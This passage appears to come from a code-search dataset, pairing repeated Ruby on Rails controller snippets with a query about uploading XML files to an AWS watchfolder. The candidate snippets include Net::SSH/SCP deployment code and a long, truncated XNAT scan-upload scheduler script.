"docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "7625caf93c0cd4ce3cc716a37cf8e590", "score": "0.6207713", "text": "def new\n @time_entry = TimeEntry.new\n @time_entry.employee = current_employee\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_entry }\n end\n end", "title": "" }, { "docid": "9eafb81d27dcb3260f584bf62a638c7d", "score": "0.6204665", "text": "def show\n @pending_hour = PendingHour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pending_hour }\n end\n end", "title": "" }, { "docid": "97889d0381418d6029f255c23b209985", "score": "0.6202838", "text": "def new\n @goals = Goals.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goals }\n end\n end", "title": "" }, { "docid": "0488c70342af2b8c50db34355d5bbb4c", "score": "0.61970025", "text": "def new\n @given_lunch = GivenLunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @given_lunch }\n end\n end", "title": "" }, { "docid": "051d807e4168b93883876c2232b8a9b6", "score": "0.619569", "text": "def new\n @actions = [:new_pm]\n @pm = Pm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pm }\n end\n end", "title": "" }, { "docid": "b7df96f1bc8f554e0e3dc06220921498", "score": "0.6192044", "text": "def new\n @week_closing = WeekClosing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @week_closing }\n end\n end", "title": "" }, { "docid": "d7c512cfc3f047fd8c271a2c9fb2d830", "score": "0.61845785", "text": "def new\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end", "title": "" }, { "docid": "d0574e0d48ed822e0b015c166b71244c", "score": "0.61842304", "text": "def new\n @task_status = TaskStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_status }\n end\n end", "title": "" }, { "docid": "267110a22d02096d8ff3003378c189f4", "score": "0.61829185", "text": "def new\n @day = current_account.days.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @day }\n end\n end", "title": "" }, { "docid": "04226ea2d2dcbe3e66f93019adef3211", "score": "0.6178755", "text": "def new\n @task = Task.new\n @goals=Goal.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "fa0b51b9143806b9bc763d295d1c0f2e", "score": "0.6177866", "text": "def new\n @time_block = TimeBlock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_block }\n end\n end", "title": "" }, { "docid": "fa0b51b9143806b9bc763d295d1c0f2e", "score": "0.6177866", "text": "def new\n @time_block = TimeBlock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_block }\n end\n end", "title": "" }, { "docid": "7377dbdc7cf8c59b2b357d242b2bfcff", "score": "0.6177581", "text": "def new\n @timesheet = Timesheet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timesheet }\n end\n end", "title": "" }, { "docid": "7377dbdc7cf8c59b2b357d242b2bfcff", "score": "0.6177581", "text": "def new\n @timesheet = Timesheet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timesheet }\n end\n end", "title": "" }, { "docid": "b430275b69110a42be6ee0262714637e", "score": "0.6177255", "text": "def new\n @report_task = ReportTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_task }\n end\n end", "title": "" }, { "docid": "2fb0a66443a30d4b1529396836166a5f", "score": "0.61766905", "text": "def new\n @task = Task.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "658690387443ad2dc71e1d3e5ba0928a", "score": "0.616738", "text": "def new\n @till_adjustment = TillAdjustment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @till_adjustment }\n end\n end", "title": "" }, { "docid": "ebbde8ae7a1a74f2e33c466adf4dfb9c", "score": "0.61668557", "text": "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "title": "" }, { "docid": "ebbde8ae7a1a74f2e33c466adf4dfb9c", "score": "0.61668557", "text": "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "title": "" } ]
4be7aea25f73638b2714a94adb93a030
This function uploads created XML files to the AWS watchfolder and starts the ingestor We have used netssh and netscp to move generated files to AWS watchfolder and start ingestor. After starting ingestor it will give call to do_tail method to monitor the ingestion process.
[ { "docid": "127c734b1e09ca163da64b4792693fe2", "score": "0.593276", "text": "def ssh_AWS\n scp = Net::SCP.start(\"#{ENV['Instance']}\", \"#{ENV['User']}\", :keys => [\"#{ENV['PEM']}\"])\n # link used http://stackoverflow.com/questions/14658363/proxy-tunnel-through-multiple-systems-with-ruby-netssh\n $file_array.each { |file| scp.upload! \"#{file}\", '/home/ec2-user/'}\n p 'File uploaded ...'\n Net::SSH.start(\"#{ENV['Instance']}\", \"#{ENV['User']}\", :keys => [\"#{ENV['PEM']}\"]) do |session|\n p 'Clearing Backlot queue ...'\n session.exec!('drush queue-run foxtel_backlot --root=/var/www/foxtel-cms/www')\n session.exec!(\"sudo rm -rf #{ENV['LogFile']}\")\n session.exec!('sudo /etc/init.d/ingestadapter restart')\n sleep 5\n session.exec!(\"sudo mv /home/ec2-user/*.xml #{ENV['WatchFolder']}\" )\n do_tail session, \"#{ENV['LogFile']}\"\n end\n end", "title": "" } ]
[ { "docid": "1dd3333f6e6736a565708a1fd8064702", "score": "0.6227431", "text": "def watch!\n raise 'Initialization required' if @path.nil? or @bucket.nil?\n callback = Proc.new do |modified, added, removed|\n urls = []\n (added | modified).sort.each do |file_name|\n next if file_name.start_with?(@proc_dir)\n logger.info \"new file: #{file_name}\"\n info = process_image(file_name)\n info[:files].each do |file_info|\n key, content_type, file_name = file_info\n upload(key, file_name, content_type)\n end\n urls << info[:url]\n end\n unless urls.empty?\n Clipboard.copy urls.join(\"\\n\")\n if @args[:notify]\n title = urls.length > 1 ?\n \"#{urls.length} files uploaded\" : \"File uploaded\"\n notify(title, urls.join(\"\\n\"))\n end\n end\n end\n Listen.to(@path,\n only: Regexp.new(\"(\\\\.%s)$\" % Sup::LEGAL_EXTENSIONS.join('|')),\n latency: @args.latency,\n force_polling: @args.force_polling,\n &callback).start\n\n logger.info \"watching #{@path} (use Ctrl-C to exit)\"\n trap(\"INT\") {exit}\n sleep\n end", "title": "" }, { "docid": "697bc0050ab5ab8df30d1ce0fe941c60", "score": "0.61204994", "text": "def start\n watch(@directory)\n timestamp_files\n end", "title": "" }, { "docid": "0328821fd1aca9e211ec3994cf139562", "score": "0.6061849", "text": "def upload\n run_uploads\n end", "title": "" }, { "docid": "9d508ee4ab51257e84f5e597afb19034", "score": "0.5971936", "text": "def run\n logger.info(\"Begin upload, file: #{@file}, \"\\\n \"checkpoint file: #{@cpt_file}, \"\\\n \"threads: #{@num_threads}\")\n\n # Rebuild transaction states from checkpoint file\n # Or initiate new transaction states\n rebuild\n\n # Divide the file to upload into parts to upload separately\n divide_parts if @parts.empty?\n\n # Upload each part\n @todo_parts = @parts.reject { |p| p[:done] }\n\n (1..@num_threads).map {\n Thread.new {\n loop {\n p = sync_get_todo_part\n break unless p\n upload_part(p)\n }\n }\n }.map(&:join)\n\n # Commit the multipart upload transaction\n commit\n\n logger.info(\"Done upload, file: #{@file}\")\n end", "title": "" }, { "docid": "21452e9b8bad906565e1045126a1a686", "score": "0.59581435", "text": "def ingest\n @counter = IngestCounter.new\n\n resource = if @yaml[:volumes].present?\n MultiVolumeWork.new\n else\n ScannedResource.new\n end\n\n if @yaml[:attributes].present?\n @yaml[:attributes].each_value do |attributes|\n resource.attributes = attributes\n end\n end\n\n if @yaml[:source_metadata].present?\n resource.source_metadata = @yaml[:source_metadata]\n end\n\n resource.apply_depositor_metadata @user\n resource.member_of_collections =\n find_or_create_collections(@yaml[:collections])\n\n resource.save!\n logger.info \"Created #{resource.class}: #{resource.id}\"\n\n attach_sources resource\n\n if @yaml[:volumes].present?\n ingest_volumes(resource)\n else\n ingest_files(resource: resource, files: @yaml[:files])\n if @yaml[:structure].present?\n resource.logical_order.order = map_fileids(@yaml[:structure])\n end\n resource.save!\n end\n\n resource.state = 'complete'\n resource.save!\n end", "title": "" }, { "docid": "39faa8783542958849fbf51d336e3aeb", "score": "0.59364504", "text": "def run_xnat_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"xnat_file\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('xnat_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting xnat_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n v_computer = \"merida\"\n\n v_scan_procedure_array = [26,41,77,91] #pdt's and mk\n v_series_description_category_array = ['T1_Volumetric','T2'] # mpnrage?\n v_series_description_category_id_array = [19, 20] #,1 ]\n v_project = \"wbbsp\" #\"wadrc_sp\" #\"up-test\"\n\n v_xnat_participant_tn = \"xnat_participants\"\n v_xnat_appointment_mri_tn =\"xnat_mri_appointment\"\n v_xnat_ids_tn = \"xnat_image_datasets\"\n v_working_directory = \"/tmp/\" # v_base_path+\"/xnat_dev\"\n v_xnat_script_dir = v_base_path+\"/analyses/rpcary/xnat/scripts/\" # WILL CHANGE LOCATIOON!!!!!\n v_script_dicom_clean = v_xnat_script_dir+\"xnat_dicom_upload_cleaner.rb\"\n v_rm_endings = [\"json\",\"pickle\",\"yaml\",\"txt\",\"xml\",\"doc\",\"xls\",\"xlsx\"]\n # DEV vs PROD\n \n v_xnat_site = Shared.xnat_site_address\n\n v_pass = \"zzzz\"\n v_days_back = \"15\"\n v_default_xnat_run_upload_flag = 'R' # setting to run automatically R=run 'Y'\n connection = ActiveRecord::Base.connection();\n # get all participants in sp/id not in v_xnat_participant_tn\n #insert and make export_id\n sql = \"insert into \"+v_xnat_participant_tn+\"(participant_id,xnat_exists_flag,xnat_run_upload_flag) \n select distinct vgroups.participant_id,'N','\"+v_default_xnat_run_upload_flag+\"' from vgroups \n where vgroups.participant_id not in ( select \"+v_xnat_participant_tn+\".participant_id from \"+v_xnat_participant_tn+\")\n and vgroups.pilot_flag = 'N'\n and vgroups.id in ( select scan_procedures_vgroups.vgroup_id from scan_procedures_vgroups \n where scan_procedures_vgroups.scan_procedure_id in (\"+v_scan_procedure_array.join(\",\")+\")) \n and vgroups.id in (select appointments.vgroup_id from appointments, visits, image_datasets, series_description_maps\n where appointments.id = visits.appointment_id \n and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id in (\"+v_series_description_category_id_array.join(\",\")+\") )\" \n results = connection.execute(sql)\n # add export_id\n sql = \"select export_id from \"+v_xnat_participant_tn+\" where export_id is NOT NULL\"\n v_exportid_results = connection.execute(sql)\n v_exportid_array = []\n v_exportid_results.each { |r| v_exportid_array << r }\n\n v_null_check_sql = \"select participant_id from \"+v_xnat_participant_tn+\" where export_id is NULL and participant_id is not NULL\"\n v_null_check_cnt = 0\n v_null_cnt_threshold = 10 # repeat 10 times increasing upper range\n while v_null_check_cnt < v_null_cnt_threshold\n v_null_check_cnt = v_null_check_cnt + 1\n v_null_results = connection.execute(v_null_check_sql)\n v_null_array = []\n v_null_results.each { |r| v_null_array << r[0] }\n v_null_count = v_null_array.count \n if v_null_count > 0\n v_now = Time.new \n v_date_seed = (v_now.to_i)*v_null_check_cnt\n v_array_cnt = 0\n v_rand_array = Array.new(2*v_null_check_cnt*v_null_results.count) {rand(v_null_count .. v_date_seed)}\n v_rand_array.each do |val|\n if(!v_exportid_array.include?(val)) and (v_array_cnt < v_null_array.count)\n v_sql = \"update \"+v_xnat_participant_tn+\" t1 \n set t1.export_id = \"+val.to_s+\" where t1.participant_id =\"+v_null_array[v_array_cnt].to_s\n v_exportid_array.push(val)\n v_update_results = connection.execute(v_sql)\n v_array_cnt = v_array_cnt + 1\n end\n end\n end\n end\n# set xnat_do_not_share_flag\n#set xnat_exists_flag = 'Y' after upload to xnat\n # get [vgroups]/appointmnent/visit - \n sql = \"insert into \"+v_xnat_appointment_mri_tn+\"(appointment_id, visit_id,xnat_exists_flag,secondary_key)\n select distinct appointments.id , visits.id, 'N', appointments.secondary_key from appointments, visits\n where appointments.id = visits.appointment_id\n and appointments.vgroup_id in ( select enrollment_vgroup_memberships.vgroup_id from enrollment_vgroup_memberships, enrollments\n where enrollment_vgroup_memberships.enrollment_id = enrollments.id \n and enrollments.do_not_share_scans_flag = 'N' )\n and appointments.vgroup_id in ( select vgroups.id from vgroups where vgroups.pilot_flag = 'N')\n and appointments.vgroup_id in ( select scan_procedures_vgroups.vgroup_id from scan_procedures_vgroups \n where scan_procedures_vgroups.scan_procedure_id in (\"+v_scan_procedure_array.join(\",\")+\")) \n and visits.id in (select image_datasets.visit_id from image_datasets, series_description_maps\n where image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id in (\"+v_series_description_category_id_array.join(\",\")+\") )\n and (visits.appointment_id,visits.id) NOT IN (select \"+v_xnat_appointment_mri_tn+\".appointment_id,\"+v_xnat_appointment_mri_tn+\".visit_id \n from \"+v_xnat_appointment_mri_tn+\" )\n and appointments.appointment_date < ( NOW() - INTERVAL \"+v_days_back+\" DAY)\"\n\n results = connection.execute(sql)\n # doing full participant update - in case p.id changed - a mess either way - fixed or unfixed\n sql = \"update \"+v_xnat_appointment_mri_tn+\" set participant_id = ( select vgroups.participant_id from vgroups, appointments \n where vgroups.id = appointments.vgroup_id and appointments.id = \"+v_xnat_appointment_mri_tn+\".appointment_id)\"\n results = connection.execute(sql)\n\n\n # get path from appointment_id , get codename/sp , get start , update xnat_session_id <sp enum start>_export_id_<v#>\n\n sql = \"select \"+v_xnat_appointment_mri_tn+\".appointment_id, \"+v_xnat_participant_tn+\".export_id, visits.path, \"+v_xnat_appointment_mri_tn+\".secondary_key\n from \"+v_xnat_appointment_mri_tn+\",\"+v_xnat_participant_tn+\", visits \n where (\"+v_xnat_appointment_mri_tn+\".xnat_session_id is null or \"+v_xnat_appointment_mri_tn+\".xnat_session_id = '') \n and \"+v_xnat_participant_tn+\".participant_id = \"+v_xnat_appointment_mri_tn+\".participant_id\n and visits.appointment_id = \"+v_xnat_appointment_mri_tn+\".appointment_id\n and visits.path is not null and visits.path > ''\"\n\n results = connection.execute(sql)\n\n results.each do |v_val|\n v_appt_id = v_val[0]\n v_export_id = v_val[1]\n v_path = v_val[2]\n v_path_array = v_path.split(\"/\")\n if v_path_array.count > 4\n v_codename = v_path_array[4]\n end\n v_secondary_key = v_val[3] \n if !v_secondary_key.blank?\n v_secondary_key = v_secondary_key.gsub(\".\",\"\")\n end\n v_xnat_session_id = \"\"\n sp_array = ScanProcedure.where(\"codename in (?)\",v_codename)\n if sp_array.count> 0\n v_prepend = \"_\"+sp_array.first.subjectid_base\n v_number = sp_array.first.visit_abbr(\"_v1\")\n # issue with secondary scans into one session\n if !v_secondary_key.blank?\n v_xnat_session_id = v_export_id.to_s+v_prepend+v_number+\"_sk\"+v_secondary_key\n else\n v_xnat_session_id = v_export_id.to_s+v_prepend+v_number\n\n end\n sql_update = \"update \"+v_xnat_appointment_mri_tn+\" set xnat_session_id = '\"+v_xnat_session_id+\"'\n where \"+v_xnat_appointment_mri_tn+\".appointment_id = \"+v_appt_id.to_s+\"\n and (\"+v_xnat_appointment_mri_tn+\".xnat_session_id is null or \"+v_xnat_appointment_mri_tn+\".xnat_session_id = '') \"\n results = connection.execute(sql_update)\n end\n end\n\n\n# set xnat_do_not_share_flag\n#set xnat_exists_flag = 'Y' after upload to xnat\n sql = \"insert into \"+v_xnat_ids_tn+\"(visit_id,image_dataset_id,xnat_exists_flag,file_path)\n select distinct image_datasets.visit_id, image_datasets.id, 'N',image_datasets.path from image_datasets, visits, appointments, series_description_maps,scan_procedures_vgroups\n where image_datasets.visit_id = visits.id \n and appointments.id = visits.appointment_id\n and (image_datasets.do_not_share_scans_flag is null or image_datasets.do_not_share_scans_flag != 'Y')\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id in (\"+v_series_description_category_id_array.join(\",\")+\") \n and appointments.vgroup_id = scan_procedures_vgroups.vgroup_id \n and scan_procedures_vgroups.scan_procedure_id in (\"+v_scan_procedure_array.join(\",\")+\") \n and (image_datasets.visit_id, image_datasets.id ) NOT IN (select \"+v_xnat_ids_tn+\".visit_id,\"+v_xnat_ids_tn+\".image_dataset_id \n from \"+v_xnat_ids_tn+\" )\"\n\n results = connection.execute(sql)\n\n# set the xnat_do_not_share based on pilot and enumber/study consent forms\nsql =\"update xnat_mri_appointment xma set xnat_do_not_share_flag = 'Y'\nwhere xma.visit_id in (select v.id from visits v, enrollments e, enrollment_visit_memberships evm\n where xma.visit_id = v.id and v.id = evm.visit_id and evm.enrollment_id = e.id and e.do_not_share_scans_flag = 'Y')\"\nresults = connection.execute(sql)\nsql =\"update xnat_image_datasets xid set xnat_do_not_share_flag = 'Y'\nwhere xid.visit_id in (select v.id from visits v, enrollments e, enrollment_visit_memberships evm\n where xid.visit_id = v.id and v.id = evm.visit_id and evm.enrollment_id = e.id and e.do_not_share_scans_flag = 'Y')\"\nresults = connection.execute(sql)\nsql =\"update xnat_mri_appointment set xnat_do_not_share_flag = 'Y' where visit_id in \n(select v.id from visits v, appointments a, vgroups vg where v.appointment_id = a.id and a.vgroup_id = vg.id and vg.pilot_flag = 'Y')\"\nresults = connection.execute(sql)\nsql =\"update xnat_image_datasets set xnat_do_not_share_flag = 'Y' where visit_id in \n(select v.id from visits v, appointments a, vgroups vg where v.appointment_id = a.id and a.vgroup_id = vg.id and vg.pilot_flag = 'Y')\"\nresults = connection.execute(sql)\n# add file_path --\n# make session id from file_path sp --> enum start| export_id|-v#\n# add sessionid column in database\n# set xnat_do_not_share_flag\n#set xnat_exists_flag = 'Y' after upload to xnat\n\n # R means run, D means done\n # make participants in xnat\n sql = \"select export_id, participant_id from \"+v_xnat_participant_tn+\" where xnat_do_not_share_flag = 'N' and xnat_run_upload_flag = 'R' and xnat_exists_flag = 'N' \"\n results = connection.execute(sql)\n results.each do |participant|\n # make user on xnat\n v_sql_update = \"update \"+v_xnat_participant_tn+\" set xnat_run_upload_flag ='D', xnat_exists_flag = 'Y' where export_id = '\"+participant[0].to_s+\"' \"\n ####results_update = connection.execute(v_sql_update)\n end\n\n # make session and scans in xnat v_xnat_ids_tn = \"xnat_image_datasets\"\n sql = \"select \"+v_xnat_ids_tn+\".file_path, \"+v_xnat_ids_tn+\".visit_id, \"+v_xnat_appointment_mri_tn+\".xnat_session_id, \"+v_xnat_appointment_mri_tn+\".xnat_exists_flag,\n \"+v_xnat_participant_tn+\".export_id, \"+v_xnat_participant_tn+\".xnat_exists_flag \n from \"+v_xnat_participant_tn+\",\"+v_xnat_ids_tn+\",\"+v_xnat_appointment_mri_tn+\" where \"+v_xnat_ids_tn+\".xnat_do_not_share_flag = 'N' \n and \"+v_xnat_ids_tn+\".xnat_exists_flag = 'N' \n and \"+v_xnat_participant_tn+\".participant_id = \"+v_xnat_appointment_mri_tn+\".participant_id\n and \"+v_xnat_appointment_mri_tn+\".visit_id = \"+v_xnat_ids_tn+\".visit_id\n and \"+v_xnat_participant_tn+\".xnat_run_upload_flag = 'R'\n order by \"+v_xnat_appointment_mri_tn+\".xnat_session_id \"\n #puts \"xnat_driver=\"+sql\n results = connection.execute(sql)\n v_xnat_session =\"zzzzz\"\n v_target_dir = \"\"\n v_cnt_ids = 0\n v_path_array = [] # the path pusghed into array is getting split on /\n v_path_full_list_array = []\n v_visit_id = \"\"\n results.each do |scan|\n puts \"BBBBBB=0\"+scan[0]+\" 1=\"+scan[1].to_s+\" 2=\"+scan[2].to_s\n if v_xnat_session != scan[2]\n # new xnat session\n puts \" new session=\"+v_xnat_session\n if v_cnt_ids > 0 #and v_xnat_session != \"zzzzz\"\n puts \" cnt>0\"\n # before new xnat_session, zip v_target_dir and xnat_seesion != zzzzzz\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd \"+v_working_directory+\"/;zip -r \"+v_xnat_session+\".zip \"+v_xnat_session+\"\\\"\"\n puts v_call\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n # do xnat upload - curl command\n # v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd /tmp; curl -u \"+v_xnat_user+\":'\"+v_pass+\"' -o \"+v_xnat_session+\".log -w \\\\\\\"%{http_code}\\\\\\\" --form project=\"+v_project+\" --form image_archive=@\"+v_xnat_session+\".zip https://\"+v_xnat_site+\"/data/services/import?format=html\\\" \"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd /tmp; curl --netrc -o \"+v_xnat_session+\".log -w \\\\\\\"%{http_code}\\\\\\\" --form project=\"+v_project+\" --form image_archive=@\"+v_xnat_session+\".zip https://\"+v_xnat_site+\"/data/services/import?format=html\\\" \"\n v_log_file_path = \"/tmp/\"+v_xnat_session+\".log\"\n\n puts v_call\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n v_status =\"\"\n v_status_comment = \"\"\n v_call = \"rsync -av panda_user@\"+v_computer+\".dom.wisc.edu:/\"+v_log_file_path+\" \"+v_log_file_path\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n \n File.foreach(v_log_file_path).detect { |line| \n if line.include?(\"Session processing may already be in progress\")\n v_status ='F'\n v_status_comment = \"record already loaded:=\"+line\n elsif line.include?(\"following sessions have been uploaded\")\n v_status ='D'\n v_status_comment = \"recordloaded:=\"+line\n elsif line.include?(\"HTTP Status 401\")\n v_status ='F'\n v_status_comment = \"failed login:=\"+line\n elsif line.include?(\"RMR\")\n v_status ='F'\n v_status_comment = \"failed dicom cleaning:=\"+line\n else \n v_status ='F'\n v_status_comment = \"something unexpected:=\"+line\n end\n }\n #puts \"aaaaa v_status =\"+v_status\n #puts \"bbb v_status_comment =\"+v_status_comment\n sql_update = \"update \"+v_xnat_ids_tn+\" set \"+v_xnat_ids_tn+\".xnat_exists_flag = 'Y' \n where \"+v_xnat_ids_tn+\".visit_id = \"+v_visit_id.to_s+\" and \"+v_xnat_ids_tn+\".xnat_exists_flag = 'N'\n and \"+v_xnat_ids_tn+\".file_path in('\"+v_path_full_list_array.join(\"','\")+\"') \"\n if v_status == \"D\" # DONE\n results_update = connection.execute(sql_update)\n elsif v_status == \"F\" #FAIL => QUIT \n sql_update = \"update \"+v_xnat_ids_tn+\" set \"+v_xnat_ids_tn+\".xnat_exists_flag = 'Q' \n where \"+v_xnat_ids_tn+\".visit_id = \"+v_visit_id.to_s+\" and \"+v_xnat_ids_tn+\".xnat_exists_flag in ('N','Q')\n and \"+v_xnat_ids_tn+\".file_path in('\"+v_path_full_list_array.join(\"','\")+\"') \"\n results_update = connection.execute(sql_update)\n\n \n end\n#puts \"hhhhh =\"+sql_update \n # update database table\n # update database table\n \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'cd \"+v_working_directory+\"; rm -rf \"+v_working_directory+\"/\"+v_xnat_session+\"'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'cd \"+v_working_directory+\"; rm -rf \"+v_working_directory+\"/\"+v_xnat_session+\".zip'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n \n end\n v_cnt_ids = v_cnt_ids + 1\n v_visit_id = scan[1]\n v_xnat_session = scan[2]\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'cd \"+v_working_directory+\"; mkdir \"+v_xnat_session+\"'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n v_path_full_list_array = []\n\n end # new sxnat_session\n v_file_path = scan[0]\n v_path_full_list_array.push(v_file_path)\n v_target_dir = v_working_directory+v_xnat_session\n # rsync -av scan[0] v_target_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+scan[0]+\" \"+v_working_directory+\"/\"+v_xnat_session+\"/'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n v_path = scan[0]\n v_path_array = v_path.split(\"/\")\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd \"+v_working_directory+\"/\"+v_xnat_session+\"/\"+v_path_array.last+\";find . -name '*.bz2' -exec bunzip2 {} \\\\\\;\\\" \"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n v_rm_endings.each do |file_ending|\n # delete json, yaml, pickle\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd \"+v_working_directory+\"/\"+v_xnat_session+\"/\"+v_path_array.last+\"/;rm -rf *.\"+file_ending+\" \\\"\"\n begin\n stdin, stdout, stderr = 